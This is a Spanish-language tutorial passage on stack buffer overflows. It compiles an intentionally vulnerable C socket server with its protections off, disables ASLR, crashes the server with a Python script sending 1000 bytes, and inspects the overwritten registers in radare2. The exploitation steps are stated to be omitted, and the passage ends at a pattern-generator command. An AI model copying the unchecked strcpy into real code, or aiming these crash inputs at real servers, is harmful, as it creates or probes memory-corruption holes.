Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Memoria y mitigaciones / 22

Desbordamientos y seguridad de memoria

LoberaFormación técnica22 / 33 · 8 min de lectura · Linux / Windows · x86-64
22 / 33

Comprender los límites de un objeto, la corrupción de memoria y las evidencias que deja.

Consultar conceptos ↗
Edición parcial: diferencias con el original

El original desarrolla la explotación de un servidor vulnerable. Se excluyen el envío de entradas de explotación, el control del retorno y la construcción de las cargas.

Aunque estos tutoriales se centran en desarrollar habilidades de reversing con herramientas de código abierto como radare2, un conocimiento general de técnicas básicas de explotación es imprescindible: es habitual encontrar malware que utiliza exploits para acceder al sistema, verás tus propios proyectos fallar por errores que pueden ser vulnerabilidades y, en general, conocer la explotación te dará una visión más amplia.

Como hay que empezar por algún sitio, lo haremos con uno de los ejemplos más sencillos: un desbordamiento de buffer en un programa servidor ejecutado en un sistema Linux x64.

Desbordamientos de buffer (pila)

Una vulnerabilidad de desbordamiento de buffer es el punto de partida de la explotación y aparece cuando intentamos rellenar un buffer de tamaño N con contenido de tamaño >N, de modo que lo que escribimos llena el buffer Y el excedente ocupa las posiciones adyacentes en la pila. No todos los desbordamientos de buffer terminan en una vulnerabilidad grave: la vulnerabilidad aparece cuando empezamos a sobrescribir posiciones de memoria necesarias para la correcta ejecución del programa, lo que provoca un fallo. Si somos lo bastante hábiles para identificar con precisión qué estamos sobrescribiendo y su función en el flujo de ejecución del programa, podemos llegar a controlar ese flujo y hacer que la máquina que ejecuta el software vulnerable ejecute código propio.

Crear un buffer en C es tan sencillo como lo siguiente:

C
char buffer[50]

Ese fragmento de código, como ya sabemos, crea un array (buffer) de 50 bytes (char). Si intentamos escribir más de 50 bytes ahí, tenemos un desbordamiento de buffer.

La pila

La pila es una estructura de datos de tipo último en entrar, primero en salir (LIFO). Se realizan dos operaciones: PUSH para insertar datos en la cima y POP para recuperar el primer elemento (recuperarlo y eliminarlo de la pila). Durante la ejecución de un programa, la pila se utiliza en las llamadas a funciones para crear los marcos de pila asociados a cada llamada. También almacena la dirección de retorno de la función, es decir, la dirección a la que se debe transferir el control cuando la función retorna.

La siguiente imagen de buff3r (Medium) lo resume:

Como vemos, los parámetros (argumentos) de una función se colocan en la pila seguidos de la «dirección de retorno» (es decir, el valor en el registro RIP) y el puntero de marco/base (RBP), que apunta a la base del marco de pila anterior. Un marco de pila es una técnica de gestión de memoria utilizada en algunos lenguajes de programación para generar y eliminar variables temporales. Dicho de otro modo, puede considerarse el conjunto de toda la información en la pila perteneciente a una llamada a subrutina. Los marcos de pila solo existen durante el proceso de ejecución. En el mundo x64, como sabemos de tutoriales anteriores, los seis primeros argumentos no se colocan en la pila sino que se almacenan en registros; en x32 todo se coloca en la pila. Más información.

Cuando una función retorna, la «dirección de retorno guardada» se extrae (pop) de la pila y se carga en RIP (puntero de instrucción) y la ejecución continúa desde ahí. En un desbordamiento de pila típico, lo que interesa es cómo sobrescribir esa «dirección de retorno guardada» en la pila con otra dirección que apunte a donde quieras que el programa continúe la ejecución; normalmente intentarás que el programa salte a tu shellcode (para lanzar una shell o similar).

En este ejemplo utilizaremos el Vulnerable Server, un servidor escrito en C que es vulnerable a varios ataques muy básicos. Podemos descargarlo y compilarlo dentro de, por ejemplo, un Ubuntu 18.04 LTS x64.

C
/**
 * @file smart_server.c
 * @author Dennis Stumm
 * @brief This file contains a vulnerable socket server. To run the server
 *   compile it and start with as following: ./NAME PORTNUMBER
 * @version 1.0
 * @date 2020-02-04
 * 
 * @copyright Copyright (c) 2020 Dennis Stumm
 *******************************************************************************
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *******************************************************************************
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

/**
 * @brief Sends the secret message over the passed socket.
 *
 * @param fd Socket to send the message over.
 */
void egg(int fd) {
  char *message = "\x20\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f"
    "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x0a\x7c\x3a\x3a\x3a"
    "\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3b\x3b\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a"
    "\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x3a\x3a"
    "\x3a\x3a\x3a\x3a\x27\x7e\x7c\x7c\x7e\x7e\x7e\x60\x60\x3a\x3a\x3a\x3a\x3a\x3a\x3a"
    "\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x27\x20\x20"
    "\x20\x2e\x27\x3a\x20\x20\x20\x20\x20\x6f\x60\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a"
    "\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x27\x20\x6f\x6f\x20\x7c\x20\x7c"
    "\x6f\x20\x20\x6f\x20\x20\x20\x20\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a"
    "\x7c\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x20\x38\x20\x20\x2e\x27\x2e\x27\x20\x20\x20\x20"
    "\x38\x20\x6f\x20\x20\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a"
    "\x3a\x3a\x3a\x3a\x20\x38\x20\x20\x7c\x20\x7c\x20\x20\x20\x20\x20\x38\x20\x20\x20"
    "\x20\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x3a\x3a"
    "\x20\x5f\x2e\x5f\x7c\x20\x7c\x5f\x2c\x2e\x2e\x2e\x38\x20\x20\x20\x20\x3a\x3a\x3a"
    "\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x3a\x27\x7e\x2d\x2d\x2e"
    "\x20\x20\x20\x2e\x2d\x2d\x2e\x20\x60\x2e\x20\x20\x20\x60\x3a\x3a\x3a\x3a\x3a\x3a"
    "\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x27\x20\x20\x20\x20\x20\x3d\x38\x20\x20"
    "\x20\x20\x20\x7e\x20\x20\x5c\x20\x6f\x20\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a"
    "\x7c\x3a\x3a\x3a\x3a\x27\x20\x20\x20\x20\x20\x20\x20\x38\x2e\x5f\x20\x38\x38\x2e"
    "\x20\x20\x20\x5c\x20\x6f\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a"
    "\x27\x20\x20\x20\x5f\x5f\x2e\x20\x2c\x2e\x6f\x6f\x6f\x7e\x7e\x2e\x20\x20\x20\x20"
    "\x5c\x20\x6f\x60\x3a\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x20\x20\x20\x2e"
    "\x20\x2d\x2e\x20\x38\x38\x60\x37\x38\x6f\x2f\x3a\x20\x20\x20\x20\x20\x5c\x20\x20"
    "\x60\x3a\x3a\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x27\x20\x20\x20\x20\x20\x2f\x2e\x20"
    "\x6f\x20\x6f\x20\x5c\x20\x3a\x3a\x20\x20\x20\x20\x20\x20\x5c\x38\x38\x60\x3a\x3a"
    "\x3a\x3a\x7c\x0a\x7c\x3a\x3b\x20\x20\x20\x20\x20\x6f\x7c\x7c\x20\x38\x20\x38\x20"
    "\x7c\x64\x2e\x20\x20\x20\x20\x20\x20\x20\x20\x60\x38\x20\x60\x3a\x3a\x3a\x7c\x0a"
    "\x7c\x3a\x2e\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x5e\x20\x5e\x20\x2d\x27\x20\x20"
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x2d\x60\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x2e"
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
    "\x20\x20\x20\x20\x20\x20\x2e\x3a\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x2e\x2e"
    "\x2e\x2e\x2e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3a\x3a\x27\x20\x20\x20"
    "\x20\x20\x60\x60\x3a\x3a\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x3a\x2d\x27\x60"
    "\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x38\x38\x20\x20\x20\x20\x20\x20\x20\x20\x20"
    "\x20\x60\x7c\x0a\x7c\x3a\x3a\x3a\x3a\x3a\x2d\x27\x2e\x20\x20\x20\x20\x20\x20\x20"
    "\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x3a\x3a\x20\x20\x20\x20\x20\x7c\x0a"
    "\x7c\x3a\x2d\x7e\x2e\x20\x2e\x20\x2e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
    "\x20\x20\x20\x20\x20\x20\x20\x20\x3a\x20\x20\x20\x20\x20\x7c\x0a\x7c\x20\x2e\x2e"
    "\x20\x2e\x20\x20\x20\x2e\x2e\x3a\x20\x20\x20\x6f\x3a\x38\x20\x20\x20\x20\x20\x20"
    "\x38\x38\x6f\x20\x20\x20\x20\x20\x20\x20\x7c\x0a\x7c\x2e\x20\x2e\x20\x20\x20\x20"
    "\x20\x3a\x3a\x3a\x20\x20\x20\x38\x3a\x50\x20\x20\x20\x20\x20\x64\x38\x38\x38\x2e"
    "\x20\x2e\x20\x2e\x20\x20\x7c\x0a\x7c\x2e\x20\x20\x20\x2e\x20\x20\x20\x3a\x38\x38"
    "\x20\x20\x20\x38\x38\x20\x20\x20\x20\x20\x20\x38\x38\x38\x27\x20\x20\x2e\x20\x2e"
    "\x20\x20\x7c\x0a\x7c\x20\x20\x20\x6f\x38\x20\x20\x64\x38\x38\x50\x20\x2e\x20\x38"
    "\x38\x20\x20\x20\x27\x20\x64\x38\x38\x50\x20\x20\x20\x2e\x2e\x20\x20\x20\x7c\x0a"
    "\x7c\x20\x20\x38\x38\x50\x20\x20\x38\x38\x38\x20\x20\x20\x64\x38\x50\x20\x20\x20"
    "\x27\x20\x38\x38\x38\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0a\x7c\x20\x20\x20"
    "\x38\x20\x20\x64\x38\x38\x50\x2e\x27\x64\x3a\x38\x20\x20\x2e\x2d\x20\x64\x50\x7e"
    "\x20\x6f\x38\x20\x20\x20\x20\x20\x20\x20\x7c\x0a\x7c\x20\x20\x20\x20\x20\x20\x38"
    "\x38\x38\x20\x20\x20\x38\x38\x38\x20\x20\x20\x20\x64\x7e\x20\x6f\x38\x38\x38\x20"
    "\x20\x20\x20\x4c\x53\x20\x7c\x0a\x7c\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f"
    "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f"
    "\x5f\x5f\x7c";
  send(fd, message, strlen(message), 0);
}

/**
 * @brief Checks whether the passed text equals to the secret text.
 * 
 * @param secret Text to check against the secret text.
 * @return int 0 if the passed text isn't correct, 1 otherwhise.
 */
int checkAuth(char *secret) {
  char secret_buffer[42];
  int auth_flag = 0;

  strcpy(secret_buffer, secret);

  if (strcmp(secret_buffer, "You don't know the power of the dark side") == 0)
    auth_flag = 1;

  return auth_flag;
}

/**
 * @brief Handles an incoming connection to the server.
 * 
 * @param sock The socket to handle the connection on.
 */
void handleConnection(int sock) {
  struct sockaddr_in client;
  socklen_t len;
  char *message;
  int fd, recv_size;
  char secret_buffer[1024];

  len = sizeof(client);
  fd = accept(sock, (struct sockaddr*) &client, &len);
  if (fd < 0) {
    printf("Error acepting\n");
    exit(-1);
  }

  printf("Got connection!\n");
  message = "Welcome! Please enter the secret text:\n";
  send(fd, message, strlen(message), 0);
  recv_size = recv(fd, secret_buffer, 1024, 0);

  if (recv_size <= 0) {
    printf("Connection close!\n");
    close(fd);
    return;
  }

  secret_buffer[recv_size-1] = '\0';

  while (!checkAuth(secret_buffer)) {
    message = "The secret was wrong, please try again:\n";
    send(fd, message, strlen(message), 0);
    recv_size = recv(fd, secret_buffer, 1024, 0);

    if (recv_size <= 0) {
      printf("Connection close!\n");
      close(fd);
      return;
    }

    secret_buffer[recv_size-1] = '\0';
  }

  egg(fd);

  printf("Connection close!\n");
  close(fd);
}

/**
 * @brief Starts a socket server listening on the passed port on any ip address.
 * 
 * @param port Portnumber the socket server should listen on.
 */
void start(int port) {
  struct sockaddr_in server;
  int sock;

  sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock < 0) {
    printf("Error opening socket\n");
    exit(-1);
  }

  server.sin_port = htons(port);
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_family = AF_INET;

  if (bind(sock, (struct sockaddr*) &server, sizeof(server)) < 0) {
    printf("Error binding socket\n");
    exit(-1);
  }

  if (listen(sock, 5) == -1) {
    printf("Error listening\n");
    exit(-1);
  }

  printf("Waiting for connections...\n");

  while (1) {
    fflush(stdout);
    handleConnection(sock);
  }
}

/**
 * @brief Main function that calls the function to start the socket server.
 * 
 * @param argc Number of arguments passed to the application.
 * @param argv Array containing the arguments passed to the application.
 * @return int Status with which the application finishes.
 */
int main(int argc, char* argv[]) {
  if (argc != 2) {
    printf("Usage: %s PORT \n", argv[0]);
    return 0;
  }

  start(atoi(argv[1]));

  return 0;
}

Hay que compilarlo de la siguiente manera:

TERMINAL
gcc -fno-stack-protector -no-pie -z execstack

De lo contrario nos enfrentaremos a medidas de protección más avanzadas contra este tipo de ataques básicos. Por ejemplo, por defecto DEP marca secciones de la memoria de nuestros programas, como la pila, como no ejecutables, de modo que podemos desbordar la pila pero no ejecutar nada en ella. También se pueden usar canarios para marcar secciones de buffer y así detectar si se están produciendo desbordamientos y matar el programa para evitar el exploit. Más información sobre protecciones. Usando los parámetros/flags presentados en el comando gcc, nos aseguramos de poder trabajar con nuestro servidor vulnerable y reproducir este tutorial.

También conviene desactivar ASLR para este ejercicio:

CÓDIGO / SALIDA
echo 0 > /proc/sys/kernel/randomize_va_space

Ya que aleatoriza las direcciones de memoria para evitar que los atacantes codifiquen direcciones fijas a posiciones de memoria como llamadas a funciones relevantes, etc. Más sobre ASLR. Aquí codificaremos direcciones fijas, así que tenlo en cuenta.

Vamos a ello. Tras compilar el programa podemos ejecutarlo en radare2 en modo depuración con:

CÓDIGO / SALIDA
radare2 -dAAA vulnserver 8081

A continuación, como es habitual, podemos inspeccionar las funciones:

CÓDIGO / SALIDA
[0x000009b0]> afl
0x00000000    2 64           sym.imp.__libc_start_main
0x00000878    3 23           sym._init
0x000008a0    1 6            sym.imp.recv
0x000008b0    1 6            sym.imp.strcpy
0x000008c0    1 6            sym.imp.puts
0x000008d0    1 6            sym.imp.strlen
0x000008e0    1 6            sym.imp.htons
0x000008f0    1 6            sym.imp.send
0x00000900    1 6            sym.imp.printf
0x00000910    1 6            sym.imp.close
0x00000920    1 6            sym.imp.strcmp
0x00000930    1 6            sym.imp.fflush
0x00000940    1 6            sym.imp.listen
0x00000950    1 6            sym.imp.bind
0x00000960    1 6            sym.imp.accept
0x00000970    1 6            sym.imp.atoi
0x00000980    1 6            sym.imp.exit
0x00000990    1 6            sym.imp.socket
0x000009a0    1 6            sub.__cxa_finalize_248_9a0
0x000009b0    1 43           entry0
0x000009e0    4 50   -> 40   sym.deregister_tm_clones
0x00000a20    4 66   -> 57   sym.register_tm_clones
0x00000a70    4 49           sym.__do_global_dtors_aux
0x00000ab0    1 10           entry1.init
0x00000aba    1 59           sym.egg
0x00000af5    3 73           sym.checkAuth
0x00000b3e   11 395          sym.handleConnection
0x00000cc9    8 221          sym.start
0x00000da6    4 88           main
0x00000e00    4 101          sym.__libc_csu_init
0x00000e70    1 2            sym.__libc_csu_fini
0x00000e74    1 9            sym._fini
[0x000009b0]> 

Y saltar a main para empezar a ver qué hace:

C / EJEMPLO
[0x000009b0]> s 0x00000da6
[0x00000da6]> pdf
            ;-- main:
/ (fcn) main 88
|   main ();
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x000009cd (entry0)
|           0x00000da6      55             push rbp                    ; vulns.c:209 int main(int argc, char* argv[]) {
|           0x00000da7      4889e5         mov rbp, rsp
|           0x00000daa      4883ec10       sub rsp, 0x10
|           0x00000dae      897dfc         mov dword [local_4h], edi
|           0x00000db1      488975f0       mov qword [local_10h], rsi
|           0x00000db5      837dfc02       cmp dword [local_4h], 2     ; vulns.c:210   if (argc != 2) { ; [0x2:4]=0x102464c
|       ,=< 0x00000db9      7422           je 0xddd
|       |   0x00000dbb      488b45f0       mov rax, qword [local_10h]  ; vulns.c:211     printf("Usage: %s PORT \n", argv[0]);
|       |   0x00000dbf      488b00         mov rax, qword [rax]
|       |   0x00000dc2      4889c6         mov rsi, rax
|       |   0x00000dc5      488d3de20500.  lea rdi, qword str.Usage:__s_PORT ; 0x13ae ; "Usage: %s PORT \n" ; const char * format
|       |   0x00000dcc      b800000000     mov eax, 0
|       |   0x00000dd1      e82afbffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00000dd6      b800000000     mov eax, 0                  ; vulns.c:212     return 0;
|      ,==< 0x00000ddb      eb1f           jmp 0xdfc
|      ||      ; JMP XREF from 0x00000db9 (main)
|      |`-> 0x00000ddd      488b45f0       mov rax, qword [local_10h]  ; vulns.c:215   start(atoi(argv[1]));
|      |    0x00000de1      4883c008       add rax, 8
|      |    0x00000de5      488b00         mov rax, qword [rax]
|      |    0x00000de8      4889c7         mov rdi, rax                ; const char * str
|      |    0x00000deb      e880fbffff     call sym.imp.atoi           ; int atoi(const char *str)
|      |    0x00000df0      89c7           mov edi, eax
|      |    0x00000df2      e8d2feffff     call sym.start
|      |    0x00000df7      b800000000     mov eax, 0                  ; vulns.c:217   return 0;
|      |       ; JMP XREF from 0x00000ddb (main)
|      `--> 0x00000dfc      c9             leave                       ; vulns.c:218 }
\           0x00000dfd      c3             ret
[0x00000da6]> 

Veremos rápidamente que main se usa básicamente para la inicialización del programa, carga de parámetros y demás, y para saltar a «start()», así que nos movemos allí:

ENSAMBLADOR / REFERENCIA
[0x00000da6]> s 0x00000cc9
[0x00000cc9]> pdf
/ (fcn) sym.start 221
|   sym.start ();
|           ; var int local_24h @ rbp-0x24
|           ; var int local_20h @ rbp-0x20
|           ; var int local_1eh @ rbp-0x1e
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_4h @ rbp-0x4
|              ; CALL XREF from 0x00000df2 (main)
|           0x00000cc9      55             push rbp                    ; vulns.c:170 void start(int port) {
|           0x00000cca      4889e5         mov rbp, rsp
|           0x00000ccd      4883ec30       sub rsp, 0x30               ; '0'
|           0x00000cd1      897ddc         mov dword [local_24h], edi
|           0x00000cd4      ba06000000     mov edx, 6                  ; vulns.c:174   sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
|           0x00000cd9      be01000000     mov esi, 1
|           0x00000cde      bf02000000     mov edi, 2
|           0x00000ce3      e8a8fcffff     call sym.imp.socket
|           0x00000ce8      8945fc         mov dword [local_4h], eax
|           0x00000ceb      837dfc00       cmp dword [local_4h], 0     ; vulns.c:175   if (sock < 0) {
|       ,=< 0x00000cef      7916           jns 0xd07
|       |   0x00000cf1      488d3d610600.  lea rdi, qword str.Error_opening_socket ; vulns.c:176     printf("Error opening socket\n"); ; 0x1359 ; "Error opening socket" ; const char * s
|       |   0x00000cf8      e8c3fbffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00000cfd      bfffffffff     mov edi, 0xffffffff         ; vulns.c:177     exit(-1); ; -1 ; int status
|       |   0x00000d02      e879fcffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x00000cef (sym.start)
|       `-> 0x00000d07      8b45dc         mov eax, dword [local_24h]  ; vulns.c:180   server.sin_port = htons(port);
|           0x00000d0a      0fb7c0         movzx eax, ax
|           0x00000d0d      89c7           mov edi, eax
|           0x00000d0f      e8ccfbffff     call sym.imp.htons
|           0x00000d14      668945e2       mov word [local_1eh], ax
|           0x00000d18      c745e4000000.  mov dword [local_1ch], 0    ; vulns.c:181   server.sin_addr.s_addr = INADDR_ANY;
|           0x00000d1f      66c745e00200   mov word [local_20h], 2     ; vulns.c:182   server.sin_family = AF_INET;
|           0x00000d25      488d4de0       lea rcx, qword [local_20h]  ; vulns.c:184   if (bind(sock, (struct sockaddr*) &server, sizeof(server)) < 0) {
|           0x00000d29      8b45fc         mov eax, dword [local_4h]
|           0x00000d2c      ba10000000     mov edx, 0x10               ; rdx
|           0x00000d31      4889ce         mov rsi, rcx
|           0x00000d34      89c7           mov edi, eax
|           0x00000d36      e815fcffff     call sym.imp.bind
|           0x00000d3b      85c0           test eax, eax
|       ,=< 0x00000d3d      7916           jns 0xd55
|       |   0x00000d3f      488d3d280600.  lea rdi, qword str.Error_binding_socket ; vulns.c:185     printf("Error binding socket\n"); ; 0x136e ; "Error binding socket" ; const char * s
|       |   0x00000d46      e875fbffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00000d4b      bfffffffff     mov edi, 0xffffffff         ; vulns.c:186     exit(-1); ; -1 ; int status
|       |   0x00000d50      e82bfcffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x00000d3d (sym.start)
|       `-> 0x00000d55      8b45fc         mov eax, dword [local_4h]   ; vulns.c:189   if (listen(sock, 5) == -1) {
|           0x00000d58      be05000000     mov esi, 5
|           0x00000d5d      89c7           mov edi, eax
|           0x00000d5f      e8dcfbffff     call sym.imp.listen
|           0x00000d64      83f8ff         cmp eax, 0xff
|       ,=< 0x00000d67      7516           jne 0xd7f
|       |   0x00000d69      488d3d130600.  lea rdi, qword str.Error_listening ; vulns.c:190     printf("Error listening\n"); ; 0x1383 ; "Error listening" ; const char * s
|       |   0x00000d70      e84bfbffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00000d75      bfffffffff     mov edi, 0xffffffff         ; vulns.c:191     exit(-1); ; -1 ; int status
|       |   0x00000d7a      e801fcffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x00000d67 (sym.start)
|       `-> 0x00000d7f      488d3d0d0600.  lea rdi, qword str.Waiting_for_connections... ; vulns.c:194   printf("Waiting for connections...\n"); ; 0x1393 ; "Waiting for connections..." ; const char * s
|           0x00000d86      e835fbffff     call sym.imp.puts           ; int puts(const char *s)
|              ; JMP XREF from 0x00000da4 (sym.start)
|       .-> 0x00000d8b      488b057e1220.  mov rax, qword [obj.stdout] ; vulns.c:197     fflush(stdout); ; loc.stdout ; [0x202010:8]=0
|       :   0x00000d92      4889c7         mov rdi, rax                ; FILE *stream
|       :   0x00000d95      e896fbffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|       :   0x00000d9a      8b45fc         mov eax, dword [local_4h]   ; vulns.c:198     handleConnection(sock);
|       :   0x00000d9d      89c7           mov edi, eax
|       :   0x00000d9f      e89afdffff     call sym.handleConnection
\       `=< 0x00000da4      ebe5           jmp 0xd8b                   ; vulns.c:197     fflush(stdout);
[0x00000cc9]> 

En start, un exploiter experimentado identificará rápidamente la función «recv» como algo potencialmente peligroso:

ENSAMBLADOR / REFERENCIA
:135   recv_size = recv(fd, secret_buffer, 1024, 0);
|           0x00000bcd      8b45fc         mov eax, dword [local_4h]
|           0x00000bd0      b900000000     mov ecx, 0
|           0x00000bd5      ba00040000     mov edx, 0x400
|           0x00000bda      89c7           mov edi, eax
|           0x00000bdc      e8bffcffff     call sym.imp.recv
|           0x00000be1      8945ec         mov dword [local_14h], eax
|           0x00000be4      837dec00       cmp dword [local_14h], 0    ; vulns.c:137   if (recv_size <= 0) {
|       ,=< 0x00000be8      7f1b           jg 0xc05
|       |   0x00000bea      488d3d270700.  lea rdi, qword str.Connection_close ; vulns.c:138     printf("Connection close!\n"); ; 0x1318 ; "Connection

En este punto, lo normal es empezar a prestar atención a las funciones que realmente reciben datos «del exterior» y los colocan en algún lugar de la memoria. Uno de los principales problemas aquí puede ser un desbordamiento de buffer. ¿Cómo identificarlo? Podemos depurar el programa mientras enviamos un bloque grande de información (ejemplo: >1000 bytes) y ver dónde y cómo se coloca en memoria. También podemos inspeccionar rápidamente la pila y empezar a pensar en el espacio del que disponemos y en cómo nuestro buffer no va a caber ahí:

Así que colocamos algunos breakpoints aquí:

CÓDIGO / SALIDA
db 0x555555554b3e
db 0x555555554c5a

s 0x555555554b3e

Y podemos usar un script simple de Python para enviar ese buffer, así:

CÓDIGO / SALIDA
import socket
import sys

payload = b"\x41"*1000  

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('127.0.0.1',8081))
s.send(payload)

s.close()

Iniciamos el programa y permitimos la ejecución con «dc»:

CÓDIGO / SALIDA
[0x555555554b3e]> dc
Waiting for connections...
hit breakpoint at: 555555554b3e
[0x555555554b3e]> dc
Got connection!
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x555555554b3d]> 

Después de que recv reciba el buffer, vemos cómo el programa crashea. Tras un crash del programa hay que centrarse principalmente en dos cosas, especialmente en situaciones como esta: el estado de los registros y la pila. Necesitamos ver qué registros podemos controlar y si tenemos espacio en memoria para colocar shellcode, y dónde:

CÓDIGO / SALIDA
[0x555555554b3d]> dr
rax = 0x41414141
rbx = 0x00000000
rcx = 0x7ffff7a985d0
rdx = 0x00000059
r8 = 0x00000000
r9 = 0x00000000
r10 = 0x00000000
r11 = 0x7ffff7b912c0
r12 = 0x5555555549b0
r13 = 0x7fffffffe0b0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x5555555552a0
rdi = 0x7fffffffdae0
rsp = 0x7fffffffdb18
rbp = 0x4141414141414141
rip = 0x555555554b3d
rflags = 0x00010286
orax = 0xffffffffffffffff
[0x555555554b3d]> 

Inspeccionamos los registros y la pila y vemos que podemos controlar una cantidad decente de espacio y que tenemos control total de RBP.

CÓDIGO / SALIDA
[0x555555554b3d]> dr rbp
0x4141414141414141
[0x555555554b3d]> 

[0x555555554b3d]> pxw @ rsp-100
0x7fffffffdab4  0x00007fff 0x00000000 0x00000000 0x00000000  ................
0x7fffffffdac4  0x00000000 0x55554b2e 0x00005555 0x0000000f  .....KUUUU......
0x7fffffffdad4  0x00000000 0xffffdb30 0x00007fff 0x41414141  ....0.......AAAA
0x7fffffffdae4  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdaf4  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb04  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb14  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb24  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb34  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb44  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb54  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb64  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb74  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb84  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdb94  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
0x7fffffffdba4  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
[0x555555554b3d]> 

Ahora se pueden hacer dos cosas: la primera, identificar un espacio en memoria para colocar nuestro shellcode; la segunda, identificar la posición en la que sobrescribimos nuestros registros, siendo RBP uno de interés.

Podemos usar alguna herramienta como el script generador de patrones para generar un patrón de caracteres que enviar como «fuzzing», y luego usar el mismo script para identificar las posiciones en las que sobrescribimos memoria:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/exploit-pattern$ python3 pattern.py 1000
